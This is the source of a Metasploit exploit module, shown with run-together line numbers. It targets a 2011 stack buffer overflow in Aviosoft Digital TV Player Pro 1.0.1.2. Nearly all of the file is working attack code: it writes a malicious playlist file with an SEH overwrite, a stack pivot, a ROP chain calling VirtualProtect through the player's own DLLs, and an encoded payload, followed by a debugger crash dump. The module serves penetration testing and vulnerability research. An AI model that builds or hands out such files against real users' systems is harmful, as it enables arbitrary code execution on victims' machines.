Path: blob/master/modules/exploits/windows/fileformat/aviosoft_plf_buf.rb
19812 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GoodRanking78include Msf::Exploit::FILEFORMAT910def initialize(info = {})11super(12update_info(13info,14'Name' => "Aviosoft Digital TV Player Professional 1.0 Stack Buffer Overflow",15'Description' => %q{16This module exploits a vulnerability found in Aviosoft Digital TV Player17Pro version 1.x. An overflow occurs when the process copies the content of a18playlist file on to the stack, which may result arbitrary code execution under19the context of the user.20},21'License' => MSF_LICENSE,22'Author' => [23'modpr0be', # Initial discovery, poc24'sinn3r', # Metasploit25],26'References' => [27['OSVDB', '77043'],28['EDB', '18096'],29],30'Payload' => {31'BadChars' => "\x00\x0a\x1a",32'StackAdjustment' => -3500,33},34'DefaultOptions' => {35'EXITFUNC' => "seh",36},37'Platform' => 'win',38'Targets' => [39[40'Aviosoft DTV Player 1.0.1.2',41{42'Ret' => 0x6130534a, # Stack pivot (ADD ESP,800; RET)43'Offset' => 612, # Offset to SEH44'Max' => 5000 # Max buffer size45}46],47],48'Privileged' => false,49'DisclosureDate' => '2011-11-09',50'DefaultTarget' => 0,51'Notes' => {52'Reliability' => UNKNOWN_RELIABILITY,53'Stability' => UNKNOWN_STABILITY,54'SideEffects' => UNKNOWN_SIDE_EFFECTS55}56)57)5859register_options(60[61OptString.new('FILENAME', [false, 'The playlist name', 'msf.plf'])62]63)64end6566def junk(n = 1)67return [rand_text_alpha(4).unpack("L")[0]] * n68end6970def nops(rop = false, n = 1)71return rop ? [0x61326003] * n : [0x90909090] * n72end7374def exploit75rop = [76nops(true, 10), # ROP NOP770x6405347a, # POP EDX # RETN (MediaPlayerCtrl.dll)780x10011108, # ptr to &VirtualProtect790x64010503, # PUSH EDX # POP EAX # POP ESI # RETN (MediaPlayerCtrl.dll)80junk,810x6160949f, # MOV ECX,DWORD PTR DS:[EDX] # POP ESI (EPG.dll)82junk(3),830x61604218, # PUSH ECX # ADD AL,5F # XOR EAX,EAX # POP ESI # RETN 0C (EPG.dll)84junk(3),850x6403d1a6, # POP EBP # RETN (MediaPlayerCtrl.dll)86junk(3),870x60333560, # & push esp # ret 0c (Configuration.dll)880x61323EA8, # POP EAX # RETN (DTVDeviceManager.dll)890xA13977DF, # 0x00000343-> ebx900x640203fc, # ADD EAX,5EC68B64 # RETN (MediaPlayerCtrl.dll)910x6163d37b, # PUSH EAX # ADD AL,5E # POP EBX # RETN (EPG.dll)920x61626807, # XOR EAX,EAX # RETN (EPG.dll)930x640203fc, # ADD EAX,5EC68B64 # RETN (MediaPlayerCtrl.dll)940x6405347a, # POP EDX # RETN (MediaPlayerCtrl.dll)950xA13974DC, # 0x00000040-> edx960x613107fb, # ADD EDX,EAX # MOV EAX,EDX # RETN (DTVDeviceManager.dll)970x60326803, # POP ECX # RETN (Configuration.dll)980x60350340, # &Writable location990x61329e07, # POP EDI # RETN (DTVDeviceManager.dll)100nops(true), # ROP NOP1010x60340178, # POP EAX # RETN102nops, # Regular NOPs1030x60322e02 # PUSH # RETN104].flatten.pack("V*")105106buf = ''107buf << rand_text_alpha(target['Offset'] - buf.length)108buf << [target.ret].pack('V*')109buf << rand_text_alpha(136)110buf << rop111buf << make_nops(32)112buf << payload.encoded113buf << rand_text_alpha(target['Max'] - buf.length)114115file_create(buf)116end117end118119=begin120eax=00001779 ebx=047a02c0 ecx=000001f4 edx=047a6814 esi=047a77bc edi=00130000121eip=6400f6f0 esp=0012f038 ebp=00000001 iopl=0 nv up ei pl nz na pe nc122cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206123MediaPlayerCtrl!DllCreateObject+0x220:1246400f6f0 f3a5 rep movs dword ptr es:[edi],dword ptr [esi]1250:000> !exchain1260012f3bc: *** WARNING: Unable to verify checksum for C:\Program Files\Aviosoft\Aviosoft DTV Player Pro\DTVDeviceManager.dll127*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\Aviosoft\Aviosoft DTV Player Pro\DTVDeviceManager.dll -128DTVDeviceManager+534a (6130534a)129Invalid exception stack at 414141411300:000> !address edi13100130000 : 00130000 - 00003000132Type 00040000 MEM_MAPPED133Protect 00000002 PAGE_READONLY134State 00001000 MEM_COMMIT135Usage RegionUsageIsVAD1360:000> !address esi137047a0000 : 047a0000 - 0000b000138Type 00020000 MEM_PRIVATE139Protect 00000004 PAGE_READWRITE140State 00001000 MEM_COMMIT141Usage RegionUsageHeap142Handle 013c0000143=end144145146